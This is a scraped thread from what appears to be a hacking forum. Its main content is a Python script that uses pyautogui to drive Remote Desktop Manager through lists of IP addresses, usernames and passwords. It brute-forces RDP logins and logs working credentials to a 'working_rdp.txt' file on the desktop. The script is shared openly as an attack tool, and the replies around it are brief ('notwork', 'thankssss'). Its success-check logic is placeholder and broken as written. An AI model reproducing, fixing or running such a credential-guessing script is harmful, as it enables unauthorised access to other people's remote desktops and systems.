12 October, 2024 - 08:25 PM
notwork
This post is by a banned member (moneyisgreen) - Unhide
21 October, 2024 - 05:21 AM
import pyautogui
import time import os def open_remote_desktop(ip_address): """Open Remote Desktop Manager and input the IP address.""" # Click on the Remote Desktop Manager window (adjust coordinates as necessary) pyautogui.click(x=100, y=100) # Change the x and y coordinates to match your RDM window time.sleep(1) # Type the IP address pyautogui.typewrite(ip_address) pyautogui.press('enter') time.sleep(2) # Wait for the connection to start def test_usernames(ip_address, usernames, passwords, results_file): """Test each username with each password for a given IP address.""" for username in usernames: for password in passwords: open_remote_desktop(ip_address) # Enter the username pyautogui.typewrite(username) pyautogui.press('tab') # Navigate to the password field # Enter the password pyautogui.typewrite(password) pyautogui.press('enter') time.sleep(5) # Wait for a while to see the result (adjust as necessary) # Here, you may need to visually confirm the success print(f'Tested {username} with {ip_address} using password: {password}') # Check for successful login - you'll need to add your own logic here # This part may require visual verification depending on your Remote Desktop Manager's UI # If successful, log the result # Adjust the following line according to your Remote Desktop Manager's UI if "your success message" in pyautogui.getWindowsWithTitle("Remote Desktop Manager"): # Adjust this logic with open(results_file, 'a') as f: f.write(f"Success: {ip_address} - {username} with password: {password}\n") print(f'Success: {ip_address} - {username} with password: {password}') def main(): # Create results file path on the desktop desktop = os.path.join(os.path.expanduser("~"), "Desktop") results_file = os.path.join(desktop, "working_rdp.txt") # Clear previous results if the file exists if os.path.exists(results_file): os.remove(results_file) # Load IP addresses from a text file located on the desktop with open(os.path.join(desktop, 'ipaddress.txt'), 'r') as f: ips = [line.strip() for line in f.readlines()] # Load usernames from a text file located on the desktop with open(os.path.join(desktop, 'usernames.txt'), 'r') as f: usernames = [line.strip() for line in f.readlines()] # Load passwords from a text file located on the desktop with open(os.path.join(desktop, 'passwords.txt'), 'r') as f: passwords = [line.strip() for line in f.readlines()] # Test each IP with each username and password for ip in ips: test_usernames(ip, usernames, passwords, results_file) print(f"Scanning complete. Results saved to {results_file}") if __name__ == "__main__": main() # Ensure there's nothing after this line
This post is by a banned member (Duykhang1221) - Unhide
24 October, 2024 - 11:07 AM
(23 August, 2024 - 08:04 PM)RAWProxy Wrote: Show More thankssss |
Create an account or sign in to comment | ||
You need to be a member in order to leave a comment | ||
Create an account
Sign up for a new account in our community. It's easy!
|
or |
Sign in
Already have an account? Sign in here.
|